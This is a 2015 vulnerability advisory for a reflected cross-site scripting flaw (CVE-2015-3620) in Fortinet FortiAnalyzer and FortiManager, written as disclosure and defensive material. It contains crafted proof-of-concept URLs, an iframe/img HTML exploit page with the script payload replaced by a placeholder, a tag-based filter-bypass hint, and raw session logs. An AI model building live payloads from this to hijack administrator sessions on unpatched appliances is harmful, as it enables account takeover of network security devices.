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  1. Document Title: =============== Fortinet FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1354 Security Bulletin FortiGuard: http://www.fortiguard.com/advisory/FG-IR-15-005/ PSIRT ID: 1327458 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3620 CVE-ID: ======= CVE-2015-3620 Release Date: ============= 2015-05-05 Vulnerability Laboratory ID (VL-ID): ==================================== 1354 Common Vulnerability Scoring System: ==================================== 3.5 Product & Service Introduction: =============================== FortiAnalyzer Centralized Logging and Reporting Appliances securely aggregate, analyze, and report on network log data gathered from Fortinet Network Security Appliances and other syslog-compatible devices. You can analyze and manage a wide range of data, including security events, network traffic, Web content, and email, to measure your security posture regulatory compliance. FortiAnalyzer is one of several versatile, adaptive Fortinet Network Security Management Products that support diverse deployment types, growth flexibility, advanced customization through APIs and simple licensing. Versatile models are designed for large organizations and multi-tenant environments, smaller networks and mid-enterprise organizations (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/network-security-logging-reporting.html ) The FortiAnalyzer Virtual Security Reporting Appliances securely aggregate log data from Fortinet devices and other syslog-compatible devices. Using a comprehensive suite of easily-customized reports, users can filter and review records, including traffic, event, virus, attack, Web content, and email data, mining the data to determine your security stance and assure regulatory compliance. (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/virtual-security-reporting.html ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a client-side vulnerability in the Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application. Vulnerability Disclosure Timeline: ================================== 2014-12-01: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2014-12-02: Vendor Notification 1 (Fortiguard Security - CERT Team) 2015-02-10: Vendor Notification 2 (Fortiguard Security - CERT Team) 2015-02-13: Vendor Response/Feedback (Fortiguard Security - CERT Team) 2015-04-30: Vendor Fix/Patch (Fortinet Developer Team) 2015-05-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Fortinet Product: FortiAnalyzer & FortiManager - Appliance Web Application 5.2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent input validation web vulnerability has been discovered in the official Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application. The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information. The vulnerability is located in the `query and name` values of the `Reports > Advanced > Dataset > View Dataset` module. Remote attackers are able to inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute client-side script code that compromises the fortinanalyzer user/admin session data. The execution of the script code occurs in the test query display module. The attack vector of the vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is GET. The appliance web-application filter prevents to execute script code tags after the request by the vulnerable inputs. To bypass the validation filter and protection mechanism of the fortinalayzer use the img, embed and iframe tags with onload to inject client-side script code. The problem is that the input filter does not capture the the context with the correct encoding as result the code bypass the filter of the appliance and executes as dom. The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Reports > Advanced > Dataset Vulnerable Parameter(s): [+] name [+] query Affected Module(s): [+] View Dataset - SQL RUN Query Display During the client security tests the research team noticed that the official vm version and the all appliance models are affected by the security issue. The following versions and models of the fortinet fortianalyzer appliance web-application are affected by the remote cross site scripting vulnerability. Affected Model(s): [+] FortiManager 5.2.0 GA, 5.2.1 GA [+] FortiManager 5.0.3 GA to 5.0.10 GA release [+] FortiAnalyzer 5.0.0 GA to 5.2.1 GA release Affected Version(s): [+] 5.2.0, 5.2.1, 5.0.3 to 5.0.10 & 5.0.0 to 5.21 (GA) Proof of Concept (PoC): ======================= PoC: https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Exploit: PoC <html> <head><body> <title>Fortianalyzer & Fortimanager- Dataset "Query" - Cross Site Scripting PoC</title> <iframe src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <img src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <iframe src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <img src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> </body></head> </html> Source: Reports > Advanced > Dataset > View Dataset (1) > Query & Name <tr id="yui_3_5_0_1_1417083590427_1543"> <td id="yui_3_5_0_1_1417083590427_1542" colspan="2"> <input id="id_test_sql" value="Test" type="button"> </td> </tr> <!-- Output Console --> <tr> <td colspan="2" id="id_sql_console_output_td"> <div id="id_sql_console_output" class="yui3-skin-sam"><pre><code>ERROR: unterminated quoted identifier at or near ""><[NON-PERSISTENT INJECTED SCRIPT CODE!]) < ^ </pre></code></iframe></code></pre></div> <img id="id_query_response_waiting" src="/resource/images/loading.gif" style="display: none;" hidden="true"></td> </tr> </tbody> --- PoC Session Logs [GET] --- Status: 200[OK] GET https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[application/json] Request Header: Host[fortianalyzer.127.0.0.1:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] X-CSRFToken[55cee37b45599df7afe8bdd27e66bc11] Referer[https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386] Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11] Connection[keep-alive] Response Header: Server[Apache] Expires[-1] Pragma[no-cache] Cache-Control[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Keep-Alive[timeout=30, max=72] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[application/json; charset=UTF-8] - Status: 200[OK] GET https://127.0.0.1:8080/p/report/dataset/list/html/x[NON-PERSISTENT INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[127.0.0.1:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386] Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11] Connection[keep-alive] Response Header: Date[Thu, 27 Nov 2014 10:23:54 GMT] Server[Apache] Vary[Cookie,Accept-Encoding] Set-Cookie[csrftoken=55cee37b45599df7afe8bdd27e66bc11; expires=Thu, 26-Nov-2015 10:23:54 GMT; Max-Age=31449600; Path=/] Content-Encoding[gzip] Keep-Alive[timeout=30, max=70] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=utf-8] Reference(s): https://fortianalyzer.127.0.0.1:8080/p/report/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable name and query input fields in the data set view module. Restrict the input fields and disallow special chars. Encode the test code display output to prevent client-side script code injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting vulnerability in the dataset view module is estimated as medium. (CVSS 3.5) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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